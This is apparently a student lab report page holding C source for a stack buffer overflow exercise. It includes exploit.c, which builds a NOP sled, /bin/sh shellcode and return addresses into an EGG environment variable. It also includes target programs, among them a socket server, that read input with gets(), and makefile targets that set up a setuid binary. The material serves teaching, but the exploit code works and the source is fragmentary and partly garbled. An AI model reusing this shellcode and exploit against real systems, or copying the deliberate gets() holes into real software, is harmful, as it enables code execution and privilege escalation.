










Study with the several resources on Docsity
Earn points by helping other students or get them with a premium plan
Prepare for your exams
Study with the several resources on Docsity
Earn points to download
Earn points by helping other students or get them with a premium plan
A c program that demonstrates buffer overflow exploitation by injecting shellcode into a buffer and executing it. It includes functions to display stack information, inspect buffer content, and handle socket connections for remote code execution. The program also contains a makefile for compilation and execution.
Typology: Lab Reports
1 / 18
This page cannot be seen from the preview
Don't miss anything!











/* File: adjacent.c
*/
#include "stackinfo.h"
#define BUFFER_SIZE 16
int main(int argc, char *argv[]) { // Position relative to frame pointer (%bp) char storeddata[BUFFER_SIZE]; // first char userinput[BUFFER_SIZE]; // second int i; // third char c; // fourth
bzero( userinput, BUFFER_SIZE); // unconditionally zero out data, otherwise bzero( storeddata, BUFFER_SIZE);// you might find something in the buffers!
// store a null terminate 16 character string // last character must be NULL, '\0', to terminate // for all normal string operations. Without a null, // you will have a buffer over-run. strcpy ( storeddata, "abcdefghijkl\0");
// view buffer contents printf("Input:%s(%d), Stored:%s(%d)\n", userinput, strlen(userinput), storeddata, strlen(storeddata) );
Most string operations require the presence of a NULL character, '\0', to terminate (indicate the end of a string). As a result most overflows occur as a result of checking for NULL termination rather than the bound of the buffer.
Buffer over-runs however are different. The idea is simple. When a string, a character buffer/array, is not NULL terminated, normal string functions will read past the end of the buffer searching for NULL character.
You will see that this example does not allow the user to input more than the size of the array, 16. Logically it is correct. See what
happens when you input < 16 characters and when you input 16 or more characters (not including the newline or carraige return) */ printf("please input a 16 character string:\n"); for ( i = 0; i < BUFFER_SIZE; i++) {
c = getchar();
if ( c == '\n' || c == '\r') // treat a newline or carraige return { // as the end of the string and append c = '\0'; // a NULL character. This really is not break; // necessary since the remainder of the } // string has been set to zero by bzero
userinput[i] = c;
// view buffer contents printf("Input: %s(%d), Stored: %s(%d)\n", userinput, strlen(userinput), storeddata, strlen(storeddata) );
// What are your results? }
#include "stackinfo.h"
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret;
strcpy ( buffer1, "\x90\x90\x90\x90\x90\x90\x90\0");
ret = buffer1 + 28; printf("buffer1:%x, buffer2:%x, &ret:%x, ret:%x->[%x]\n", buffer1, buffer2, &ret, ret, ret); (ret) += 10; SHOW_STACK_EX }
void main() { int x;
printf("\n\n");
x = 0; function(1,2,3); x = 1; printf("%d\n",x); }
[root@localhost lab]# ./example Stack:bffff750, Frame:bffff758[bffff798], Next Instruction:bffff75c[40041507]
Stack:bffff700, Frame:bffff738[bffff758], Next Instruction:bffff73c[8048a92] buffer1:bffff720, buffer2:bffff710, &ret:bffff70c, ret:bffff73c- >[8048a92] Stack:bffff700, Frame:bffff738[bffff758], Next Instruction:bffff73c[8048a9c] 4015b154, 8048c60, 8048a6a, bffff744, 909090, 90909090, 40084d2c 8048a9c, 1, 2, 3, 80484b1, 8049d10, 0 0 [root@localhost lab]# */
/* File: exploit.c (a.k.a exploit3.c)
*/
#include
#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp () { asm("movl %esp,%eax"); }
int main(int argc, char *argv[]) { char *buffer, // buffer containing the exploit *byte_ptr; // pointer to a CHAR (1 byte)
long *long_ptr, // pointer to a LONG or INT ( byte step) mem_addr; // offset from LOCAL stack pointer
int offset = DEFAULT_OFFSET, // offset targetting the NOP sled buffer_size = DEFAULT_BUFFER_SIZE;// size of overflow buffer
int i; // iterator for the FOR loops
// if available get the user defined size of the buffer if (argc > 1) { buffer_size = atoi(argv[1]); }
// if available get the user set offset from the stack pointer // requires that the user entered a size if (argc > 2) { offset = atoi(argv[2]); }
// allocate space for the buffer if ( !(buffer = malloc(buffer_size)) ) {
Stage THREE: Insert the shellcode / / tricky! Think about this in steps: byte_ptr = buffer; // point byte_ptr to the begining buffer byte_ptr += (buffer_size / 2); // move byte_ptr to the middle buffer byte_ptr -= (strlen(shellcode) / 2);// move byte_ptr back 1/2 of shellcode len */ byte_ptr = buffer + ( ( buffer_size / 2 ) - ( strlen(shellcode) / 2 ) ); for (i = 0; i < strlen(shellcode); i++) { *(byte_ptr++) = shellcode[i]; }
Buffer Diagram (not to scale)
|NNNN|NNNN|NNNN|NNNN|NNNN|NNNS|HELL|CODE|addr|addr|addr|addr|addr|addr| addr| */
Stage FOUR: Terminate the buffer with a NULL, '\0', character */ buffer [ buffer_size - 1 ] = '\0';
Buffer Diagram (not to scale)
|NNNN|NNNN|NNNN|NNNN|NNNN|NNNS|HELL|CODE|addr|addr|addr|addr|addr|addr| add_| */
// pre-pend "EGG=" so that the buffer can be put into and environment variable memcpy(buffer,"EGG=",4);
/* Buffer Diagram (not to scale) |EGG=|NNNN|NNNN|NNNN|NNNN|NNNS|HELL|CODE|addr|addr|addr|addr|addr|addr| add_| */ // store the environment variable putenv(buffer); // open a new shell with the environment variable EGG set system("bash");
return 0; }
/* File: input.c
int main(int argc, char *argv[]) { // Position relative to frame pointer (%bp) char paddington[480]; // char storeddata[BUFFER_SIZE]; // first char userinput[BUFFER_SIZE]; // second
printf("Inspect environment variables\n"); inspect_buffer ( (void *)getenv("EGG") , 0 );
bzero( userinput, BUFFER_SIZE); // unconditionally zero out data, otherwise bzero( storeddata, BUFFER_SIZE);// you might find something in the buffers!
// store a null terminated 12 character string // last character must be NULL, '\0', to terminate // for all normal string operations. Without a null, // you will have a buffer over-run. strcpy ( storeddata, "1234567890a\0");
/*view buffer contents printf("Input:%s(%d), Stored:%s(%d)\n", userinput, strlen(userinput), storeddata, strlen(storeddata) ); / / Most string operations require the presence of a NULL character, '\0', to terminate (indicate the end of a string). As a result most overflows occur as a result of checking for NULL termination rather than the bound of the buffer.
In this case, the standard C library function call "gets" looks for a newline or NULL character to stop writing to the buffer. */ printf("please input a 16 character string:\n"); gets(userinput);
/* view buffer contents printf("Input:%s(%d), Stored:%s(%d)\n", userinput, strlen(userinput), storeddata, strlen(storeddata) ); */ printf("Inspect stack variables\n"); inspect_buffer ( (void *) userinput, 0 );
// bind the socket to a well-known port if (bind(sockfd, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) != 0) { perror("can't bind to socket"); exit(-1); } else { fprintf(stdout, "port %d is bound \n", ntohs(serveraddr.sin_port)); }
if (listen(sockfd, 128) < 0) { perror("listen"); exit(-1); } else { fprintf(stdout, "server has begun listening \n"); }
/* Fork a child to handle the connection. */ pid = fork(); if (pid < 0) { perror("fork"); exit(-1); } else if (pid == 0) { // child close(sockfd); svcHandle(newsockfd); exit(EXIT_SUCCESS); } else { // parent close(newsockfd); } }
// reach here only on an accept error perror("accept");
exit(-1); }
void svcHandle(int sockfd) { char paddington[HALFK]; char userinput[BUFFER_SIZE];
if ( (dup2( sockfd, STDOUT_FILENO)) < 0 ) { perror("svcHandle: Error STDOUT_FILENO"); return; }
if ( (dup2( sockfd, STDIN_FILENO)) < 0 ) { perror("svcHandle: Error STDOUT_FILENO"); return; }
bzero( userinput, BUFFER_SIZE);
printf( "1- Input:%s(%d)\n", userinput, strlen(userinput)); printf( "please input a 16 character string:\n");
gets( userinput);
inspect_buffer( (void *) userinput, 0 );
// printf( "2- Input:%s(%d)\n", userinput, strlen(userinput)); printf( "2- Input:(%d)\n", strlen(userinput));
: "=r" (framePtr) );
nextInstructionPtr = framePtr+1;
printf ("Stack:%x, Frame:%x[%x], Next Instruction:%x[%x]\n", stackPtr, framePtr, *framePtr, nextInstructionPtr, *nextInstructionPtr);
//// Inspect the buffer ////////////////////////////////// //////////////////////////////////////////////////////////
// This function was built to read overflowed buffers that // have stack smaching code akin to that found in "Smashing // the stack for fun and profit." void inspect_buffer(void *buffer, int printextra) { int *redirect_ptr, // Point to the buffer as an int array offset, // The offset used in the attack
nop_begin, // Offset of NOP sled nop_end, // end of NOP sled + first instruction
addr_begin, // addr_end; //
char nop = (char) 0x90, // NOP character *code_ptr; // character typed pointer of the array
int i, length;
if ( printextra ) { printf("Print Buffer\n"); length = strlen ( (char *) buffer ) / 4; for ( i =0; i < length; i++ ) {
if ( i%8 == 0 ) printf ("\n"); printf("%x ", ((int *) buffer)[i]); } printf("\n"); }
redirect_ptr = (int*) buffer; // Point to the begining of the array code_ptr = (char *) buffer; offset = *redirect_ptr; // You can grab the offset value from the // 0th element of the array
// do we start with the NOP sled? if ( nop == *code_ptr ) // YES { nop_begin = (int) code_ptr;
// loop through the NOP sled until you hit the first non-NOP // the beginning of the buffer to the code_ptr's position is // the length of the NOP sled which you are hoping to land in. while ( nop == *(code_ptr++) ); nop_end = (int) code_ptr; printf("\tTargetting range %x to %x\t\t[%d byte range]\n", nop_begin, nop_end, nop_end - nop_begin - 1);
if ( printextra ) { printf("Print NOP sled\n"); length = (nop_end - nop_begin)/4 + (nop_begin - nop_end)%4; for ( i =0; i < length; i++ ) { if ( i%8 == 0 ) printf ("\n"); printf("%x ", ((int *) buffer)[i]); } printf("\n"); }
CONCEPT since you use the code_ptr to find the end of the NOP sled, the pointer now points to the code segment. Which leaves you without the offset value and the memory range where the offset is written to the stack. To get the range and value of the offset, you must realize that there is no spoon. ;) The shellcode segment is not constant. Therefore, you want to loop until you have found the first memory location that has the same value consecutively. */ // first you must byte align the integer pointer redirect_ptr = code_ptr - ( nop_end - nop_begin )%4;
if ( printextra ) {
// it's just a hack to let me look above and below the frame pointer// //////////////////////////////////////////////////////////////////////
#define SHOW_STACK_EX asm("movl %%esp, %0" : "=r" (stackPtr) ); asm("movl %%ebp, %0" : "=r" (framePtr) ); nextInstructionPtr = framePtr+1; printf ("Stack:%x, Frame:%x[%x], Next Instruction:%x[%x]\n", stackPtr, framePtr, *framePtr, nextInstructionPtr, *nextInstructionPtr); printf ("%x, %x, %x, %x, %x, %x, %x\n", *(framePtr-1), *(framePtr-2), *(framePtr-3), *(framePtr-4), *(framePtr-5), *(framePtr-6), *(framePtr- 7)); printf ("%x, %x, %x, %x, %x, %x, %x\n", *(framePtr+1), *(framePtr+2), *(framePtr+3), *(framePtr+4), *(framePtr+5), *(framePtr+6), *(framePtr+7));
CC = gcc CFLAGS = -g LIBS = TARGETS = remote cmdline input adjacent exploit example
all: $(TARGETS)
remote: remote.c stackinfo.h $(CC) $(CFLAGS) remote.c -o remote $(LIBS)
cmdline: cmdline.c stackinfo.h $(CC) $(CFLAGS) cmdline.c -o cmdline $(LIBS)
#(echo $EGG;cat) | ./input input: input.c stackinfo.h $(CC) $(CFLAGS) input.c -o input $(LIBS)
adjacent: adjacent.c stackinfo.h $(CC) $(CFLAGS) adjacent.c -o adjacent $(LIBS)
exploit: exploit.c stackinfo.h $(CC) $(CFLAGS) exploit.c -o exploit $(LIBS)
example3: example3_explained.c stackinfo.h $(CC) $(CFLAGS) example3_explained.c -o example3 $(LIBS)
user: useradd molari; passwd molari
chmod: chmod 000 touch
chown: chown molari:molari touch
setuid: chmod 4755 touch